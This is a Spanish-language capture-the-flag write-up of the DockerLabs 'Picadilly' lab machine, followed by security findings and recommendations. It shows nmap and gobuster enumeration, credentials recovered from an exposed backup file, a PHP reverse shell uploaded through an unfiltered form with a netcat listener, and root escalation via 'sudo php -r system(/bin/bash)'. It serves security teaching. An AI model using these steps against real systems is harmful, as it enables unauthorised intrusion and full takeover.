Picadilly

Introducción

Este documento presenta la resolución completa de la máquina Picadilly, desarrollada por kaikoperez para la plataforma DockerLabs y clasificada como fácil.

El propósito es exponer un análisis claro, ordenado y técnicamente fundamentado que incluya:

• Identificación de vectores de entrada.
• Explotación mediante revisión de archivos sensibles y funcionalidades de la aplicación.
• Obtención de acceso mediante subida controlada de archivos.
• Escalada de privilegios a través del uso seguro de sudo.

La metodología se estructura en tres etapas principales:

1. Reconocimiento: identificación de servicios expuestos y análisis del contenido web.
2. Explotación: utilización de artefactos sensibles y vectores proporcionados por la aplicación.
3. Escalada de privilegios: uso de permisos sudo para obtener acceso root.

Todas las pruebas se realizaron en el entorno aislado proporcionado por DockerLabs.

---

Información General

Atributo	Valor
Nombre	Picadilly
Autor	kaikoperez
Dificultad	Fácil
Fecha	18/05/2024
Plataforma	DockerLabs

---

Paso 0 — Preparación y despliegue

Descomprimir la máquina:

unzip "Picadilly.zip"

Iniciar el contenedor:

sudo bash auto_deploy.sh "Picadilly.tar"

El script devuelve la IP interna, utilizada durante toda la auditoría:

---

Paso 1 — Reconocimiento

1.1 Organización del entorno de trabajo

Se crea un entorno estructurado para registrar hallazgos:

mkdir -p Picadilly/{content,exploits,nmap,gobuster,scripts}
cd Picadilly

1.2 Escaneo de puertos

Se analiza el objetivo con un escaneo TCP completo:

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

• 80/tcp — HTTP
• 443/tcp — HTTPS

1.3 Enumeración web (HTTP — puerto 80)

Enumeración con gobuster:

gobuster dir \
  -u http://172.18.0.2/ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
  -x php,html,txt,js \
  -t 200

Recurso identificado:

• backup.txt

En este archivo se observan:

• Un usuario válido.
• Una contraseña cifrada mediante un cifrado César, según la pista del “emperador romano”.

Al decodificarla, se obtiene un par de credenciales funcionales.

---

1.4 Enumeración web (HTTPS — puerto 443)

La enumeración se repite contra el servicio HTTPS:

gobuster dir \
  -u https://172.18.0.2/ \
  -k \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
  -x php,html,txt,js \
  -t 200

Rutas encontradas:

• index.php — formulario de subida de archivos

• uploads/ — directorio accesible que lista archivos subidos.

La presencia de un formulario de subida sin filtros adecuados permite plantear un ataque mediante Web Shell.

---

Paso 2 — Explotación (acceso inicial)

Aprovechando la subida de archivos se carga una reverse shell en PHP.

Antes de ejecutarla, se activa un listener:

nc -nlvp 443

Se sube la shell a través del formulario y se accede a ella visitando:

https://IP/uploads/shell.php

Reverse shell establecida:

En este punto se obtiene acceso como www-data.

---

Paso 3 — Escalada de privilegios

3.1 De www-data a mateo

Como parte del análisis previo, se descubrieron credenciales válidas en backup.txt. Utilizando:

su mateo

se accede correctamente a la cuenta mateo.

---

3.2 De mateo a root

Se revisan los binarios permitidos mediante sudo:

sudo -l

Se identifica que php puede ejecutarse como root sin contraseña.

Para elevar privilegios:

sudo php -r "system('/bin/bash');"

Con ello se obtiene una shell privilegiada:

---

Fallos de Seguridad Identificados

1. Archivo sensible expuesto (backup.txt): contenía credenciales válidas y pistas directas para su recuperación.
2. Subida de archivos sin restricciones: permitió ejecutar código arbitrario en el servidor.
3. Listado del directorio uploads/: facilitó la localización y ejecución de la reverse shell.
4. Permisos sudo excesivos: permitir a un usuario ejecutar php como root concede control absoluto del sistema.
5. Configuración insegura en HTTPS: acceso sin validación estricta, permitiendo eludir advertencias mediante -k.

---

Recomendaciones

1. Eliminar archivos sensibles del entorno de producción.

2. Implementar validación estricta en formularios de subida:

   • Extensiones permitidas.
   • Análisis de contenido (MIME checking).
   • Ubicación no accesible directamente.

3. Restringir el listado de directorios.

4. Revisar configuraciones sudoers:

   • Evitar NOPASSWD excepto en casos muy específicos.
   • Evitar que lenguajes interpretados puedan ejecutarse como root.

5. Aplicar buenas prácticas de seguridad web:

   • Deshabilitar directorios navegables.
   • Separar entornos de prueba y producción.

6. Auditorías periódicas y hardening general del sistema.